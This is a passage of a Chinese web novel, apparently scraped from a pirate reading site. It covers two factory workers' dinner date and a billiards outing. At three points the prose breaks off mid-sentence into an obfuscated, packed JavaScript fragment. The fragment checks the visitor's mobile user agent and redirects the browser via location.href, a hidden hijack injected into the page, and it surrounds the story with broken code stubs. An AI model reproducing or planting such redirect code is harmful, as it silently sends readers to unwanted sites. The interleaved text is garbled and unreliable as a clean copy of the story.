;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16705318|189181||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一怔,发出一声惊天动地的尖叫,哐的一声用后背抵住门,死死地把门给关严了。 “橙子别出来!”池竹骇了一跳,随即已经是心如死灰般的冷静,“你怎么不敲门!” “你怎么不锁门!”郑白露满脸晕红,很没有底气地怒道,“你不锁门干什么!怎么能怪我!” 池竹真是无话可说,她只是在床边换个衣服,锁门干什么?院子里谁来不会敲门?她真是忽略了郑白露这个变数! 她无可奈何,已经破罐子破摔了,刚伸长胳膊,想去拿床沿上的文胸,郑白露又小小地尖叫了一声:“你别乱动,我帮你拿!” “咱俩该谁怕谁啊!”池竹再爱白露这会儿也没好气了,“而且你刚刚该关门退出去的,你把自己关里面是干什么!” 郑白露这下连脖颈也一块全红了,这会儿才反应过来,她把自己也关里头是想干什么呀! 这会儿自知理亏,但不妨碍她继续嘴硬:“我吓坏了,没想到嘛。” 她语气一软,池竹本来就没多生气,这会儿更是不生气了,心如死灰过后,从脸到胸脯红成一片,低声道:“嗯,你给我吧。” 郑白露小心翼翼地挪过去,眼睛垂下来,生怕自己看到什么不该看的。她平时无所顾忌,这会儿是第一次体会到了那政策的威力和池竹爱慕的威力,她再也不敢说什么都是女的怕什么了,她怕极了! 一颗心扑通扑通快要从腔子里跳出来,郑白露拿起床沿上的那个文胸,红菊牌的,要是她,一定会买带暗花甚至缎面的款式,这款就是最素的白色,一看就是池竹会穿的类型。 她稀里糊涂想了一堆有的没的,这才别着头递了过去。 等池竹扣上后扣,她这才舒了一口气,眼睛终于敢抬起来了。 真漂亮的后背,又直又薄,带着一层柔滑的肌肉,做工人的,有锻炼的,真不像她们这种坐办公室的。 也不知道是肩膀宽还是腰细,还是互相映衬的,看着体态好得不得了。 她盯着池竹,看到这人伸手去拿衬衣,马上不许:“穿背心,不要穿衬衣。” 池竹是觉得自己平日就天天穿背心,即使买的新款,肯定也不如穿衬衣吧? 不过她很听话,白露让穿什么穿什么。穿好之后,她装忙了好一会儿,捋捋衣摆,抚抚那个不大常见的半高领,意不在折腾衣服,纯粹是她真不好意思转过身去面对白露。 好不容易做好心理准备,一转身,白露像棵小花树一样站在她面前,穿着和她相似的无袖背心,一看她转过来,郑白露长长的睫毛又垂下去,盯着自己那双姐姐从美国带回来给她的孟克鞋,上头带着明亮的银色装饰扣:“这种白棉背心最配牛仔的东西,你觉得呢?” 不懂时髦的池竹根本觉不出个所以然来。郑白露自问自答:“嗯,真的挺配的。” 她又找补:“其实你想穿衬衣也可以的,你平时总穿背心,这回穿衬衣也可以的。” “你觉得我穿这种白棉背心怎么样?”郑白露突然又问,“我挺少穿的。” “是不是……还行?”她有点后悔了,想试验新衣服,干嘛拣今天!还非要池竹也穿,搞什么风格对比呢?“仔细想想要不还是穿吊带背心吧,我现在就换了去!” “别换。”池竹说,浓墨重彩的眼睛亮晶晶的,一颗心不害羞了,在白露的话里和眼睛里未经她允许,自行融化了。 她很郑重,很真诚地说,“别换,特别好看……真漂亮、真漂亮。” 18. 同事而已18 门打开,外面的阳光打进来,郑白露松了一口气,这才想起了自己过来的本意:“你不用给橙子买饭了,我提前和我妈说了,今晚她和橙子一块吃饭。” 池竹知道她不愿自己说谢谢,就用一双眼睛很诚挚地望着她。郑白露道:“嘴上不说谢谢了,想通过心灵感应让我知道呀?” 她不理池竹,扬声道:“橙子,我和你姐姐出去啦,一会儿去大妈那儿吃饭,听到了吗?” 听到这话,池橙噔噔噔地从书房跑出来,这小孩子好奇心特强,刨根究底道:“刚才怎么啦?” 不等池竹回答,郑白露先说:“其实呢,刚才是你姐姐不小心没站稳要滑倒,我吓得一声大叫,随后用迅雷不及掩耳之速扶住了你姐姐,一切有惊无险,你就放心吧。” 她就这样一本正经的胡说八道,池橙虽然有点疑惑,但是一个敢说,一个敢信,一只还不知道社会险恶的小橙子认真地点了点头,还小大人似的批评自己姐姐:“你往后要小心一点!” 池竹忍着笑:“我记得了,好啦,你先回屋吧,一会儿大妈叫你的时候再过来。” 火烧趁俩人出门之前喵喵大叫,要过来撒娇,郑白露很不留情地揉揉它的脑袋:“等回来再说,今天不能蹭池竹裤腿,新裤子再叫你蹭的全是毛!” 两人推着自行车走过胡同,这时候正是傍晚最热闹的时候。小孩子吵吵嚷嚷的打闹而过,骑自行车的年轻人七拐八拐怕撞到,家家户户都飘起了开火做饭的烟雾,胡同门口叫卖着水果和包子,池竹一颗心浅浅的跳着,步伐刻意放慢了,保持着和郑白露一样的速度。 “你俩这是去哪呢?”曹雨从小卖部的帘子里探出脑袋来,手里还抓着一把瓜子,“这吃饭的点了,出去吃饭去?” “是啊。”郑白露道,她想起前一阵和曹雨那番莫名其妙的交流,现下池竹又在旁边,她实在有点说不清道不明地不愿意和她多闲聊。 “怎么,惜字如金?”曹雨才不让她糊弄过去,“去哪吃,谁请谁?” 郑白露没好气:“刨根究底什么呢?” 曹雨马上整个人都从帘子后走出来了:“这什么意思,心虚?” 池竹不知道这俩人之间的事,打圆场道:“之前白露帮了我大忙,我请她去安德利吃晚饭。” 郑白露的胳膊晚了一步,没杵到池竹的身上。 曹雨马上来劲了:“怪不得竹子今天也特意打扮了呢,真好看,原来要去安德利。竹子,你听我和你说,你真的要小心这个郑白露,上次我和她聊天,她为了你,一个劲地磕碜我……” “走了!”郑白露拽起池竹就走,池竹被她拽的一晃,完全没搞清楚到底发生了什么事。走出胡同,郑白露对她说:“什么都不许问!曹雨就是个满嘴跑火车的,她说的话你一句也别信!添油加醋!” 池竹不明所以地点点头,一出胡同街道开阔,她俩终于骑上了自行车,安德利西菜馆距离并不很远,速度不快的话,二十分钟就能到。 要是从机械厂或者百货商场出发,那更快,最多五分钟的路程。 安德利的门脸和其他店都不一样,外头甚至都插着花,还挂着日本产的玻璃风铃,这会儿天还没黑,招牌就闪起了霓虹。 池竹一阵紧张,不仅是因为没来过这种地方,更因为旁边是白露。旁边是白露,她下普通小馆子都紧张,更何况是这儿? 郑白露像是察觉到她的心绪,没让她说话,主动先迈步进去。服务员迎上来,把她们带到了里面的一张小方桌上。 一进来,光线反而昏暗了,整间西菜馆都是铺的是木墙,刻意黯淡的黄色灯光打下来,混着空气里的一股淡淡的甜粉香味,氛围几乎是浪漫的。 池竹一颗心跳得更厉害,两份菜单放在两人面前,她紧紧地盯着上头的黑字,问道:“白露,想吃什么?” “牛扒吧。”郑白露说,她不想让池竹多花钱,就打算点一份招牌牛扒。 方才白露察觉到她的心绪,这会儿池竹也有点察觉到了她的心绪。主菜自然是要点的,可是其他的也是要点的。 她按着菜单上的分类看下来:“要一份牛扒,一份奶油葡国鸡,什锦沙拉,还有安德利浓汤。” 她特意没给自己点牛扒,这样就可以让白露多尝一样奶油葡国鸡了。 “太多了。”白露说。她微微蹙着眉,灯光照在她脸上,眉骨,鼻梁都像是分界线,照得她那张脸明明暗暗的异常美丽。 “正好。”池竹说,她竭力稳住声音,菜都还没上来,她已经开始头晕,胸闷,种种感觉,类似发烧。 桌上的花瓶果然和传闻中一样,插着一枝塑料玫瑰,因为是塑料做的,所以红得逼人。 西菜馆格外安静,只有各桌传过来的一阵阵的低语声。还有风雅的人坐在窗边,举着相机,隔着一层玻璃,远远近近地拍外头的晚霞。 郑白露本来还大大方方的,可一抬眼,她就发现池竹的脸已经红透了。 那张秀美的脸孔泛着塑料玫瑰一样的鲜红,再昏暗的环境,那么浓墨重彩的眼睛里放出的目光也是带着穿透力的。 她的脸一下也红了,小声嗔道:“你想什么呢!” 不是疑问的语气,而是感叹句,好你个池竹,想什么呢! “没想什么。”池竹立刻回答。 “我不信!”郑白露道,“没想什么,你脸红什么!” “真的没想什么。”池竹又说。 “真的假的,一直骗我。”郑白露说,“感觉你一定在想坏事,要不然脸为什么这么红?” 池竹这下有些着急,自己才不是那种人! 她望着郑白露,又有点急迫,脑海中却又是一片空白,情不自禁地低声道:“真的什么也没想,是你太好看了。” 这话一出,两人都愣住了。 池竹说爱自己的时候,就是这种语气。 郑白露忽然想,那时候,她就是这种语气,全然诚挚的,真心的,一心一意,心无旁骛。 池竹用这种语气讲话,讲出的任何一句话,她都毫不怀疑。 很多人追求过她,胆子大的,也称赞她漂亮,说爱她。可没有一个人给她池竹这种感觉,那种感觉,像是……她也说不好,像……珍视。 她不确定有些人遭到她的拒绝后会不会恼羞成怒,会不会死缠烂打,但她确认,池竹是那种即便被她拒绝,也会默默地注视她,关心她,期望她得到幸福的人。 郑白露心一抖,头一次觉得,自己太残忍。 “你……”她低声说,“池竹,你也很好看,只是你从来不在意。” 这句话好温柔,池竹听了,什么旖旎情思都散了,她点了点头,笑道:“谢谢。” “不许说谢谢。”郑白露装凶,“之前不是都讲了,不许说谢谢,这会儿又忘了是吧。看在咱们目前是同事的份上这次就过去,等咱们成了朋友,再让我听到你说谢谢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16705319|189181||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,饶不了你的。” 池竹看着她,很想故意再说一次谢谢,逗逗郑白露,不过到底没有。因为白露正一门心思地研究那枝塑料玫瑰,细长的手指小小地拨动着花瓣。 上天一定很爱白露。她静静地想,长得这样漂亮,手也好看,性格也可爱。怪不得她也爱白露。 她心里头甜丝丝地发痛,心脏像是被蜜糖浸着,太甜了,反而杀出了一道道的血丝。 菜送上来,附送的还有闪亮亮的刀叉。池竹不懂怎么用,郑白露在外面念大专的时候吃过西菜,就教她是左手拿叉右手拿刀。 池竹豁然开朗:“是这样,右手力气大,能控制刀,不容易伤到。” 郑白露倒是没思考过这个问题,她从牛扒上切下一块来,叉到池竹的盘子里:“尝尝。” 池竹拿勺子舀了一大勺奶油葡国鸡送过去,礼尚往来:“你也试试这个。” 西菜都是用盘子装,每个人还有单独的盘子,这点非常适合分菜。郑白露的牛扒最后分了池竹一半,池竹的奶油葡国鸡也分了郑白露一半。 “好吃吗?”池竹问,她想要是好吃的话,往后还请白露来吃。贵是贵了一点,只要白露喜欢,这都不是问题。 除了存折上那一半是给池橙上大学用的,其他的钱她攒那么多也没什么用。自己没什么花钱的地方,也不怎么买衣服,更不买首饰,攒钱不花到底是没有意义。 她很愿意多请白露吃几顿饭,趁她们还是朋友的时候。 等到白露谈了恋爱结了婚,再是好朋友,也不相同了。 郑白露刚吃了一口沙拉,这会儿挑起水汪汪的杏核眼看她:“不好吃。” 池竹吃了一惊:“怎么会不好吃呢?我吃着挺好吃的呀!” “我要是说好吃,你下次肯定又请我。”郑白露说,“这种地方呀,一个月来一次就不得了了,大家都是赚工资的,哪有那么多钱来浪费。” “喜欢吃就不是浪费。”池竹觉得自己在这方面倒比白露大方,“攒那么多钱没用,橙子的将来念大学的花销我都留好了,剩下的钱我也花不了,还不如大家一块多出来玩玩。” “你是冤大头呀?”郑白露骂她,“你往后交了女朋友都不能这样的知道吗?要是真爱你,根本不舍得花你的钱的。你这人太老实,对谁好都是掏心掏肺的,又不会撒谎,将来叫别人骗得团团转,我可不会来救你!” 她气得又吃了一口沙拉,强调道:“我可不会来救你!” “我也没那么好骗吧。”池竹失笑,“而且我心里有数的。” “你有什么数啊。”一听她还和自己犟郑白露更来气,“你不是挺聪明的吗,那怎么不知道对自己好点?别说女人了,你看厂里那些男人,都知道买梳个背头穿条牛仔裤的臭美,你呢?衣服首饰一样不买,香水没有,擦脸还用蛤蜊油,上回曹雨都说了,起码拿个雪花膏呢!” 池竹知道她是关心自己,抿着嘴笑:“起码我还知道擦脸呢,有些人根本不用油!” “你怎么净跟这种比!”郑白露恼道,“往后钱都往自己身上花!要不然将来全叫别人骗走了!” “那时候我们还是最好的朋友吧?”池竹问。 郑白露不假思索:“当然啦,咱们俩要做一辈子的好朋友。” “那你就来救我吧。”池竹笑,心里杀出一道又一道蘸满蜜糖的红血丝,“如果我识人不清,犯了傻,到那时候,你就来救我吧。” 19. 同事而已19 两人从安德利出来,天已经彻底黑了,发烫的热风拂过来,池竹解开自行车锁,问道:“咱们去哪见你朋友?” “到时候你就知道了。”郑白露冲她狡黠地眨了眨眼,“在后面跟着我。” 池竹本来以为她们会去茶室之类的地方,没想到最后郑白露把自己带到的地方居然是一间台球厅。不是那种露天的,或者电影院旁边搭的简易石棉瓦棚台球厅,是间正儿八经的台球厅! 她从来没来过,不过确实听说过。每到周末,工人们就会聊去哪消磨时间,文化宫迪斯科舞厅,鸣城电影院,野帆地下录像厅,小满湖车轮台,新世界台球房……这都是高频出现的地方。 她这会儿一抬头,就看得到偌大的三个字霓虹招牌:新世界。 “白露,你什么时候学会的打台球?”池竹有点惊诧,她知道郑白露是喜欢看电影的,倒是不知道她什么时候,竟然喜欢上了台球。 “念大专的时候。”郑白露说,“那时候有家露天台球厅,就开在服装店旁边,有时候去买衣服就顺路打两杆,一来二去的就会了。” 她捉住池竹的手腕:“来,正好我教你。” 台球房里的灯光比安德利还亮,一眼望去,人群分堆簇在不同的台球桌旁,看起来热闹极了。 “那边十二张桌子是国产的星牌,袋口大,怎么打都好进,铺的是混纺呢。”郑白露说得头头是道,“这边三张桌子都是进口的斯诺克,等你会打了就知道,星牌真是比不了进口货,斯诺克铺的全是羊毛呢,打起来顺得不得了,还没有静电。” “白露!”有人叫了她一声,一个穿着皮裙的女人靠在斯诺克台上冲两人招了招手,“难得啊,今天带人来了。” “这是兰姐,新世界的老板。”郑白露介绍道,“这是池竹,我的好朋友。” 她和池竹两个人之间可以同事而已,但是在其他人面前,她介绍起来,池竹当然永远是她的好朋友。 “你好,我叫乔兰。”乔兰道,“我知道了,这个就是那个姑娘吧,你觉得张海成有可能在比武作弊,让我找人盯着他点。” “是啊。”郑白露说,“这事真的很重要,那可是去京城交流学习的名额,可不能有闪失。” 乔兰笑道:“他是张益的儿子,要是想动手脚的话,确定能被我的人看到吗?我不懂这个比武是怎么运作的,都有什么作弊的办法?” “有好几种方法。”池竹有点拘谨,但说到自己熟悉的领域,还是条理分明,“我们都是铣工,铣工比武最重要的就是尺寸和精度,在普通铣床上,就连我也没办法百分之一百一次成型一件误差小于0.01毫米的件。” “她是上次比武第一名。”郑白露挺有点骄傲地介绍道,“池竹在我们厂的青工里,算是技术最好的了,连她都说不能百分百呢!” 乔兰看着郑白露笑,真不知道她在与有荣焉什么。 “和记录员联系,偷看工艺卡上的跳号公差,或者从学员那里提前一天得到刀补指令,然后铣场外件,这是最准确的。还有一种方法,因为比武前要提前预热毛坯,只要能看到毛坯,就能用游标卡尺量好尺寸和定位。” “得到尺寸之后,把尺寸趁傍晚交给代切的那个人,铣出一件尺寸近似的半成品,第二天就能神不知鬼不觉地用这个半成品替换毛坯,铣出一个合格件。” 乔兰略一思索:“行,我明白了,如果他要办这事,不可能全部在厂里完成,一定有要出去的部分,到那时候,一定会留下端倪的。” 她语气轻快起来:“行了,事情说完了,打一局吧?” “好啊。”郑白露欣然应允,“池竹,等我打一局就教你。” 说是这么说,她怕池竹看不懂,一边接过球杆,一边道:“你看,所有的球一共有十五个,一到七号叫作小花球,八号球是黑色的,九到十五号叫大花球,第一杆先把球打散,比如这一杆是我打的,我打了小花球进袋,往后我就要一直打小花球,直到七颗全部进袋,才能打黑八球,谁进了就算谁赢。” “那你就打第一杆吧。”乔兰笑道。 郑白露点点头,池竹就算是不懂,也感觉得出,白露的姿势大约是非常标准的。腰压得很低,球杆架在拇指和食指捏紧的地方,她手漂亮,这样按在台面上,观赏性极强。 另一只手自然垂直地握着球杆,一杆击出,母球重重地撞到底库,反撞回球堆,整个球堆顿时天女散花一样地散开了。 “好!”有的等台的人围过来看,这一杆打得漂亮,大家都叫好。 郑白露有点得意,她平时打台球,其实不玩那么多花哨的技巧,毕竟打得多了,就知道什么叫大巧不工。可这会儿池竹在呢,她很想向池竹炫耀一下,你看我打得好吧! 她直起身,用余光去瞥池竹,对方那双好眼睛睁得大大的,一门心思地盯着她看。 郑白露一下觉得今天非把拿手好戏全都使出来不可。 她开局打了一颗小花球进袋,下一杆还是她。斯诺克球台袋小,要是星牌台,她基本能一次不失误把所有球打进去。 这次她主要存了给池竹展示的心,着实算了好一会儿角度,旁边有人催:“白露快点,等什么呢?” 要是以往郑白露绝对先骂一句再调整,这会儿她专心致志地调整方向,乔兰道:“催你个头,下杆绝对来个大的吓吓你。” 一杆击出,干净利落,池竹愕然地看着那枚雪白的母球打中一颗小花球,完全不知道怎么做到的,那枚小花球先是击中台球桌的侧边,随后走了一个标准的直角三角形长长的斜边,随着清脆的一声响,响亮地落进了球袋。 这一下真是满堂彩,乔兰和她打得多了,早看出来她今天有意展示,干脆利落地出杆进袋,笑吟吟地把时间都留给她。 接下来几杆都是低杆,这个手法看起来简单, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16705320|189181||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 实际上很吃技术和腕力,母球撞花球进袋之后,还能缓缓地退回来,斯诺克台上这个容易一些,要是放到其他台子上,能稳定让母球缩台的绝对称得上高手。 池竹只懂刚才白露和她讲的规则,但这丝毫不妨碍她看得津津有味,一双眼睛亮晶晶的,每次进袋,都用力地鼓掌,真和小时候跳皮筋一样,她从来跳不了高的,可白露和头一般高的皮筋都跳得过,她真是有点崇拜了! 小花球打到最后一球,之前郑白露就一直在慢慢地调整台子上花球的位置,现在一切准备就绪,莫名其妙的,明明这个花招她之前至少给人展示过不下十遍,毫无疑问,这次是最紧张的一次。 要是她演砸了,那她这几天都没脸见池竹了! 郑白露深深地吸了一口气,球杆后拉,白色的母球飞速滚出,居然击中了黑八球。黑八球撞到台球桌侧边改变方向,狠狠地撞向了那最后一颗小花球,花球率先进袋,黑八紧随其后,不仅没有犯规,还直接赢下了这场球局! 这一下全场欢呼,乔兰也不纠结什么黑八要指定袋口的规则,笑道:“厉害啊,几天不见,水平又见涨了,明天咱们再好好打几局,我请你吃饭。” 郑白露瞧见池竹那带点仰慕的眼神,心里头甜滋滋的,小时候就是这样,她故意要跳最高的皮筋,就是想展示给池竹看,别人夸她厉害都是其次的,她就想告诉池竹,虽然我成绩远不如你好,但是我也有很擅长的事情呢! 不要总是她崇拜池竹,她也要池竹仰慕她! “哪用请我吃饭啊。”郑白露道,“兰姐你帮我的忙,我感谢还来不及呢,你想哪天玩,咱们就哪天多玩两局。” “帮你的忙?”乔兰道。 “是帮我的忙。”池竹道,她向前走了两步,走到乔兰面前,很礼貌地说,“兰姐,不知道该怎么感谢你……” “我开玩笑呢。”乔兰说,“你是白露的朋友,也就是我的朋友,这点小忙都谈不上帮。平时你们厂子里有什么聚会,白露也会给我的小鸽馆介绍生意,你们什么时候多来照顾照顾就行!” 池竹这下恍然大悟,小鸽馆离新世界台球房不远,招牌菜就是红烧乳鸽,是一间口碑相当好的菜馆。 “你真是和白露一点也不像。”乔兰道,“一看就是个好姑娘,不像郑白露,长得是怪好看的,结果没脸没皮,来我台球房从来不交钱的。” “兰姐!”郑白露这下不愿意了,“你怎么不说我这球技是你们这儿的活招牌呢?” 乔兰乐了:“行,过来,我给你这活招牌拿两瓶汽水。” 台球房后面放着冷水桶,里面放满冰块,冰块里面,就是满满当当的汽水和小豆冰棍。到了夏天台球房人多,小豆冰棍这会儿卖得差不多,汽水倒是还有。 乔兰递给她两瓶,郑白露正打算随手揣个起子回去,就听见乔兰冷不丁地说:“今天真是孔雀开了屏了,你这是要追人家啊?”